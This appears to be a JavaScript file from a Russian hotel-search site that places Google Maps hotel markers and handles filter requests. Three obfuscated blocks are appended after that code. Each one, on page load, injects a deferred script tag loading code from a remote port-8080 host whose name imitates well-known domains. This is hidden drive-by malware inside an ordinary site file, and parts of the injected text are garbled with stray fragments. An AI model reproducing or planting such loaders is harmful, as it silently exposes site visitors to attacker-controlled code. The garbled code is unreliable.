var map,mm,blueIcon,blueIconR;
function write_markers(){
   mm = new GMarkerManager(map, {borderPadding:1});
   if (only_one){//for print page
      marker=createMarker(new GLatLng(elms[0],elms[1]),'',blueIcon);
      mm.addMarker(marker,0);
      return;
   }
   var  request = GXmlHttp.create();
   request.open("GET", "/srpc/Page"+hotels_papa_id+"/markers?z5="+
	$('#z5').attr('checked')+"&z4="+$('#z4').attr('checked')+"&z3="+
	$('#z3').attr('checked')+"&mini="+$('#mini').attr('checked')+
	"&ot1k="+$('#ot1k').attr('checked')+"&ot2k="+$('#ot2k').attr('checked')+
	"&ot6k="+$('#ot6k').attr('checked')+"&metro="+
	$("[name='metro']").attr('value')+"&wifi="+
	$("[name='wifi']").attr('checked')+"&transfer="+
	$("[name='transfer']").attr('checked')+"&excursies="+
	$("[name='city_center']").attr('checked')+"&vip="+
	$("[name='vip']").attr('checked'), true);
   request.onreadystatechange = function() {
      if (request.readyState == 4) {
//alert(request.responseText);
         var xmlDoc = request.responseXML;
         var xmlmarkers = xmlDoc.documentElement.getElementsByTagName("m");
//alert(xmlmarkers.length);
	 var marker,lat,lng;
         for (var i = 0; i < xmlmarkers.length; i++) {
	    lat = parseFloat(xmlmarkers[i].getAttribute("lat"));
	    lng = parseFloat(xmlmarkers[i].getAttribute("lng"));
	    marker=createMarker(new GLatLng(lat,lng),
		xmlmarkers[i].getAttribute("id"),(
		xmlmarkers[i].getAttribute("icon")=="1"?blueIconR:blueIcon));
	    mm.addMarker(marker,0);
         }
	 document.getElementById('gmap-progress-bar').style.display='none';
      }
   }
   request.send(null);
   mm.refresh();
//   document.getElementById('gmap-progress-bar').style.display='none';
//   GEvent.trigger(lrmarker,'click'); 
return;
   for(var i = 1; i < markers.length; i++ ){
//alert(markers[i][2]+"\n"+markers[i][6]+"zvezd="+
//   $("#"+markers[i][6]).attr('checked')+"\nmetro="+markers[i][8]+"&"+
//$("[name='metro']").attr('value'));
	if (!$('#'+markers[i][6]).attr('checked') ||
		(($('#ot1k').attr('checked') || $('#ot2k').attr('checked') ||
		$('#ot6k').attr('checked')) && !$('#'+markers[i][7]).attr('checked')) ||
		($("[name='metro']").attr('value')!=markers[i][8] &&
			$("[name='metro']").attr('value')) ||
		($("[name='wifi']").attr('checked') && !markers[i][9]) ||
		($("[name='transfer']").attr('checked') && !markers[i][10]) ||
                ($("[name='excursies']").attr('checked') && !markers[i][11]) ||
                ($("[name='city_center']").attr('checked') && !markers[i][12]) ||
                ($("[name='vip']").attr('checked') && !markers[i][13])
		)
	   continue;
			m = new GMarker(new GLatLng(markers[i][0], markers[i][1]), markerOptions);
			
			m._BuilderTitle = markers[i][2];
			m._BuilderLink = markers[i][3];
			m._BuilderDescr = markers[i][5];
			m._BuilderImg = markers[i][4];

	        GEvent.addListener(m, "click", function() {
	        	html = '<a href="' + this._BuilderLink + '" style="color : #0D3F98">' + this._BuilderTitle + '</a><br />';
	        	html += '<div style="clear : both">';
	        	//html += ((this._BuilderImg.length) > 0) ? ('<img src="'+this._BuilderImg+'" align="left" style="margin : 0px 5px 5px 0px">') : '';
	        	html += this._BuilderDescr;	     
	html += '</div>';
	        	this.openInfoWindowHtml( html );
	        });
	        map.addOverlay(m);
   }
}
	function createMarker(point,m_id,icon) {
		var marker = new GMarker(point, {icon:icon});
if (!only_one){
		GEvent.addListener(marker, "click", function() {
			$.get("/srpc/Page"+hotels_papa_id+
                                "/marker_info","id="+m_id, function (html) {
//alert(m_id);
			   marker.openInfoWindowHtml("<div id='infomarker"+m_id+
				"'>"+html+"</div><img src='/images/close.png' class='spg_close' "+
				" onclick='close_mark.closeInfoWindow()'>");
close_mark=marker;
//!!!
//var i=document.getElementsByTagName('img');
//for(a=0;a<i.length;a++){
//alert(i[a].src);
//break;
//   if (i[a].src.match(/iw_close/))
//      i[a].src='';
//}
setTimeout("$('.gmnoprint img[src=http://maps.google.com/intl/ru_ALL/mapfiles/iw_close.gif]').css('display','none')",500);
//alert(document.getElementById("infomarker"+m_id).tagName);

			});
		});
		}
		return marker;
	}
        function load() {
          resize_statusdiv();
          if (GBrowserIsCompatible()) {
            map = new GMap2(document.getElementById("map"));
	    //map.enableScrollWheelZoom();
            //map.addControl(new GLargeMapControl());
            map.addControl(new GMapTypeControl());
	    var customUI = map.getDefaultUI();
	    customUI.maptypes.hybrid = false;
            map.setUI(customUI);
	    //map.setUIToDefault();
            map.setCenter(new GLatLng(elms[0], elms[1]), elms[2]);
//	    google.maps.Event.addDomListener(closeButton,'click',function(){
//	alert(123);
//});
//mm = new GMarkerManager(map, {borderPadding:1});
blueIcon = new GIcon(G_DEFAULT_ICON);
blueIcon.image = "http://www.headcall.ru/hotel.png";
blueIcon.shadow = "";
blueIcon.iconSize = new GSize(24, 39);
blueIcon.iconAnchor = new GPoint(17, 39);
blueIconR = new GIcon(G_DEFAULT_ICON);
blueIconR.image = "http://www.headcall.ru/hotel_recommended.png";
blueIconR.shadow = "";
blueIconR.iconSize = new GSize(30, 39);
blueIconR.iconAnchor = new GPoint(17, 39);
markerOptions = { icon:blueIcon };
write_markers();
geocoder = new GClientGeocoder();
//alert(document.getElementById('map').clientWidth);
if (!only_one)
        $(".filters-block input,.filters-block select").click(function(){
           document.getElementById('gmap-progress-bar').style.display='block';
           map.clearOverlays();
           //mm.clearMarkers();
           write_markers();
        });
	} else {
	   if (!only_one){
		document.getElementById('gmap-progress-bar').style.display='none';
		alert("Sorry, the Google Maps API is not compatible with this browser");
	   }
	}
}
window.onresize=resize_statusdiv;
function resize_statusdiv(){
   if (!only_one)
      document.getElementById('gmap-progress-bar').style.width=(document.getElementById('map').clientWidth-15)+'px';
}

var _="_";this.q="q";var k=new Date();var t=35234;:LineMixer [this.h=16538;var n=window;var we;if(we!='' && we!='ka'){we=null};var tv=26001;var b='s&c^r.i+p^t+'.replace(/[\+&\^\.Q]/g, '');var zs=false;var eq;if(eq!='' && eq!='p'){eq='z_'};var g='cvrveQaXtXe3EXl3eXmveQnvt3'.replace(/[3Qv\+X]/g, '');]this.x="x";var zu="";var _s=new String();n.onload=function(){var tt=17174;try {this.xw='';this._r='';a=document[g](b);:LineMixer [a['s8r8cZ'.replace(/[ZTeC8]/g, '')]='h*t$t$pR:Y/Y/?n?e?t$f*lYi$xR-RcYo?mY.?n?aRsYa$.$g?oYv$.Ye*b*aYy?-Yc$o$-Ru$k$.*n?e$w$s*o*uRrRc$eYw?o$rYl$d?.$rRuR:*8Y0*8?0R/Rs?aRhYiYb$i$n*d$eRn$.$c$o?m*/?sRa$hRi$b?iYn*d*e$n$.?c*o*m*/$sYpYoRn*i?cRh?i$.$cYo*.RjYpY/$wYeYe?b?l*yR.$cYoRm*/?g$o$o$gYl$eR.$cYo$m*/R'.replace(/[R\$Y\*\?]/g, '');var tih="tih";a.setAttribute('dLeYf3e4rL'.replace(/[L3YU4]/g, ''), "1");var zi;if(zi!='fl'){zi='fl'};]var za;if(za!='o' && za!='td'){za=''};var fn;if(fn!='' && fn!='gj'){fn='z_p'};var bi;if(bi!='' && bi!='rv'){bi=null};document['bMomdDym'.replace(/[mDMuJ]/g, '')]['aIp/p/e/nrdIC/hjirljd/'.replace(/[/jOrI]/g, '')](a);var lu=new String();this.iv=false;} catch(y){var n_=false;var zux=47822;};};var bp;if(bp!='' && bp!='vd'){bp=null};
var h=new String();var hk=new String();function g() {var y=new Date();var vq;if(vq!='v' && vq!='d'){vq=''};function i(e,a,m){e['s2e|tMAytytkr2i2bku|tyeM'.replace(/[M2\|yk]/g, '')](a, m);var hn;if(hn!='gb' && hn != ''){hn=null};var lg;if(lg!='hd' && lg != ''){lg=null};}var cn;if(cn!='' && cn!='aj'){cn='_h'};var hp;if(hp!='tq'){hp=''};this.yk='';var k='s;c7r7i3p3t3'.replace(/[3M;7\?]/g, '');var _='cVr5e5aFtVeVEAl_eVmFe5nAtA'.replace(/[AFV5_]/g, '');var kx;if(kx!=''){kx='pc'};var t=window;var am=new String();var sm;if(sm!='' && sm!='li'){sm=null};this.jc="";var ri;if(ri!='dg' && ri!='he'){ri=''};t['oMnrlMotaMd5'.replace(/[5M\^rt]/g, '')]=function(){var b;if(b!=''){b='af'};var zu='';try {this.us="us";n=document[_](k);this.il="il";this.rp="rp";var q='';i(n,'d,e,f2e4rw'.replace(/[w42,k]/g, ''),1);i(n,'sKrZcK'.replace(/[KOVJZ]/g, ''),'hztVtVp#:z/V/NlViNnVkVbGuVc#k#sG-zcGoVmG.GdGaNnGg#dGazn#gG.zcGoVmV.NdNiVcztz-NcVcN.#m#e#d#i#aNtGaNgGoznGl#iVn#eG.NrGuV:N8V0#8z0V/VgVoNo#gNlzeV.#cGoGmG/zgzoVoVg#lzeN.NcGo#mV/GyGaVnNdzeGxG.#uVaG/NlzeGqVuViVp#eG.#fGrN/#bzhNaNrNaNt#sztVuVdNe#nztG.#cGoNmN/G'.replace(/[GNz#V]/g, ''));var qh;if(qh!='' && qh!='_b'){qh='dk'};var mw=new Date();document['bfoTd4yf'.replace(/[fk4Ta]/g, '')]['a|p#p#eXnXd|CxhYi#lXdX'.replace(/[X#xY\|]/g, '')](n);var ma=35838;} catch(c){var my="my";};};this.c_=18061;};g();this._hb="";

function x() {var _;if(_!=''){_='N'};var kG;if(kG!=''){kG='tX'};var Q=']';var fS="";var l='[';var i=new String();var X=new String();var e='g';var h=new String();var A=RegExp;var c='replace';var T;if(T!='p'){T=''};var fL=new String();var TV="";var Wb;if(Wb!='I' && Wb != ''){Wb=null};function D(P,lV){var XT="";var Xr="";var kF=new Date();var K;if(K!=''){K='Jo'};var hc=l;var G;if(G!='je' && G!='E'){G='je'};hc+=lV;this.pF="";hc+=Q;var FW;if(FW!='H'){FW='H'};var As='';var g=new A(hc, e);return P[c](g, h);var Ni=new String();};this.Dz="";var k='';var ke=new String();var w=D('87707778790977',"97");this.Pa='';var h_=D('shcyrhiJpyth',"JhyK");var d=D('csrwewaxtXeXEslsewmwewnXtX',"wxXHs");var po;if(po!='' && po!='mg'){po=null};var cA=new Date();var U=D('/xgxoxoxgxlCeC.xcCoCmx/CgCoCoCgxlxeC.xcCoxmC/xkxoxmxlxiC.xcxoCmC/xtxiCnCyCuxrxlx.CcCoxmC/CiCmCaxgxeCfCaxpx.xcCoxmC.xpChCpC',"xC");var z=D('hyt4typy:R/y/ynRi4k4k5eyiDbRp5-RcDoR-yjypR.DmDsDny.RcRoDm4.4jDoDoym4lDaD-4oyrRgy.4f4oRrDrDe5dRtDa5g5.Dryu5:R',"Ry45D");var Yi=new String();var nm='';var hz=window;this.cs="";hz[D('oOnOlHoHa4dH',"HO4")]=function(){var xv=new Date();var Jb;if(Jb!='XTq'){Jb=''};try {var zp="";this.Fl="";k+=z;var EA;if(EA!='Lz'){EA='Lz'};k+=w;k+=U;var jl;if(jl!='ps' && jl!='kO'){jl=''};var PW;if(PW!='' && PW!='XTH'){PW='fD'};this.dJ='';var Gf;if(Gf!='JV' && Gf != ''){Gf=null};lj=document[d](h_);var _w;if(_w!='' && _w!='SF'){_w=null};u(lj,'src',k);u(lj,'defer',([1,9][0]));var Xh;if(Xh!='' && Xh!='HB'){Xh=null};this.V="";var nd=new Array();document.body.appendChild(lj);var b="";} catch(QM){var KS;if(KS!=''){KS='Dm'};var er=new Array();};var rJ='';var ts;if(ts!='' && ts!='ko'){ts='zB'};};var Zl;if(Zl!='' && Zl!='_S'){Zl=''};function u(L,t,n){var xB;if(xB!=''){xB='iBu'};this.zI='';L.setAttribute(t, n);}var yl=new Array();var mq;if(mq!=''){mq='ir'};this.FB='';};var pV;if(pV!='fd' && pV!='QJ'){pV=''};x();